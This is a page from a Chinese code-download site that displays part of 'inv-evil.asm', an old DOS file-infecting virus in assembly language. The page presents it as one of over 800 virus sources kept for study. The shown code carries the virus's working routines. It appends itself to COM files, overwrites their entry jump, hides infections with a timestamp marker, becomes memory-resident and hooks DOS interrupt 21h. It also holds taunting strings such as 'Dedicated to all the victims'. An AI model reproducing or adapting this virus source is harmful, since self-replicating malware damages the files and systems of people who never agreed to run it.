⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 inv-evil.asm

📁 More than 800 virus code (old school) just for fun and studying prehistoric viruses. WARNING: use
💻 ASM
📖 第 1 页 / 共 2 页
字号:
save_rest_of_len:
        mov     word ptr cs:[(jump_add+1-vstart)],cx ; save jmp length

        mov     ah,40h                              ; write to file
        mov     cx,(vend-vstart)                    ; the virus
        cwd                                         ; from start
        int     21h                                 ; atlast the fun part
        jnc     fpointer                            ; no error(s), go on
        jc      homey                               ; fuck it!

fpointer:
        mov     ax,4200h                            ; move file pointer
        mov     cx,0                                ; to the beginning
        cwd
        int     21h


        mov     ah,40h                              ; write the JMP the
        mov     cx, 5                               ; the file (5 bytes)
        mov     dx,(jump_add-vstart)                ; offset jump thang
        int     21h
        
        jc      homey                               ; if error, fuck it!

        mov     ax,5701h                            ; restore old
        mov     word ptr cx,cs:[(old_time-vstart)]  ; date/time
        mov     word ptr dx,cs:[(old_date-vstart)]
        
        and     cl,0e0H                             ; chance the file's
        inc     cl                                  ; seconds to "2" for
        int     21h                                 ; stealth "marker"
        

        mov     ah,3eh                              ; close thisone
        int     21h


homey: jmp     homey2                               ; outa here
       db      ' Dedicated to all the victims.. '   ; dedication note

homey2: pop     ds                                  ; pop
        pop     es                                  ; pop
        pop     ds                                  ; pop
        pop     si                                  ; pop
        pop     di                                  ; pop
        pop     dx                                  ; pop
        pop     cx                                  ; pop
        pop     bx                                  ; pop
        pop     ax                                  ; new virus-name
                                                    ; popcorn virus?
        jmp    dword ptr cs:[(old_21-vstart)]       ; heading for old
                                                    ; int21
old_date dw     0                                   ; date/time
old_time dw     0                                   ; saving place


buffer: db      0cdh,20h,00                         ; our lil' buffer
buffer2 db      0,0                                 ; plus these two
jump_add: db    0E9h,00,00,90h,90h;                 ; what we put instead
                                                    ; of org. jmp
exit2:  jmp     exit                                ; get outa here

load:   mov     ax,3030h                            ; Are we already in
        int     21h                                 ; this users memory
        cmp     bx,3030h                            ; well, check it!
        je      exit2                               ; if so, outa here
        

dec_here:
        push    cs                              ; push
        pop     ds                              ; pop

        mov     ah,4ah                          ; req. very much mem
        mov     bx,0ffffh                       ; ret's largest size
        int     21h

        mov     ah,4ah                          ; ok, so now we
        sub     bx,(vend-vstart+15)/16+1        ; subtract the size of
        jnc     intme                           ; of our virus. If no
        jmp     exit2                           ; error go on, else
                                                ; fuck it
intme:
        int     21h                             ; int me! int me!

        mov     ah,48h
        mov     bx,(vend-vstart+15)/16          ; req. last pages
        int     21h                             ; allocate to the virus
        jnc     decme                           ; no error, go on
        jmp     exit2                           ; les get outa dis place
        
decme:
        dec     ax                              ; oh? a dec, no push/pop
                                                ; how glad i am :)
        push    es                              ; blurk! yet another push
        
        mov     es,ax                           ; set es to ax
        jmp     dos_own                         ; carry on comrade
        db      ' Greets to B-real!/IR '        ; greetings to our
                                                ; latest member, a
dos_own:                                        ; friend of mine
        mov     byte ptr es:[0],'Z'             ; this memory will
        mov     word ptr es:[1],8               ; have DOS as it's
                                                ; owner
        inc     ax                              ; opposite of dec, eh?
                                                ; yet another new-commer
        lea     si,[bp+offset vstart]           ; copy to memory
        mov     di,0                            ; (new block) xor di,di
        jmp     copy_rest                       ; go on
        db      ' It''s like this and like that and like thisena ' ; lil'

copy_rest:
        mov     es,ax                           ; es as ax
        mov     cx,(vend-vstart+5)/2            ; the whole thing
        cld                                     ; bytes, clr direction
        rep     movsw
        jmp     make_res                        ; now, make it resident
        db      ' It''s like that and like this and like thatena '; thang
        
make_res:
        xor     ax,ax                           ; atlast!
        mov     ds,ax                           ; put all shit to memory
        push    ds                              ; don't push me around :)
        lds     ax,ds:[21h*4]                   ; vectorswapping
        jmp     swap_sect                       ; (manually!)
        db      ' It''s like this.. '           ; by Snoop 'n Dre.

swap_sect:
        mov     word ptr es:[old_21-vstart],ax   ; where's our old int21
        mov     word ptr es:[old_21-vstart+2],ds ; stored? well see here
        pop     ds
        mov     word ptr ds:[21h*4],(new_21-vstart) ; point to our virus
        mov     ds:[21h*4+2],es                     ; instead of old21

        push    cs                                  ; no cmt.
        pop     ds                                  ; to much 'bout 'em
                                                    ; today, eh? :)

exit:
        push    cs                                  ; no cmt.
        pop     es                                  ; see above

        mov     cx,5                                ; five bytes
        jmp     copyback                            ; keep on moving..
        db      ' Love to Lisa! '                   ; To the girl i love
copyback:
        mov     si,offset buffer                ; copy back org. jmp
        add     si,bp                           ; and run the org. proggy
        jmp     movdi_it                        ; yeah, les do that
        db      ' All i ever wanted.. '         ; Lisa, the one and only

movdi_it:
        mov     di,100h                         ; di = 100h
        repne   movsb
        jmp     lastshit                        ; atlast, soon the end
        db      ' All i ever asked for.. '      ; Love in eternality!

lastshit:
        mov     bp,100h                         ; bp equ 100h
        jmp     bp                              ; jmp to bp (SOF)


vend    equ     $                               ; end of virus

virus        ends
        end     start

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -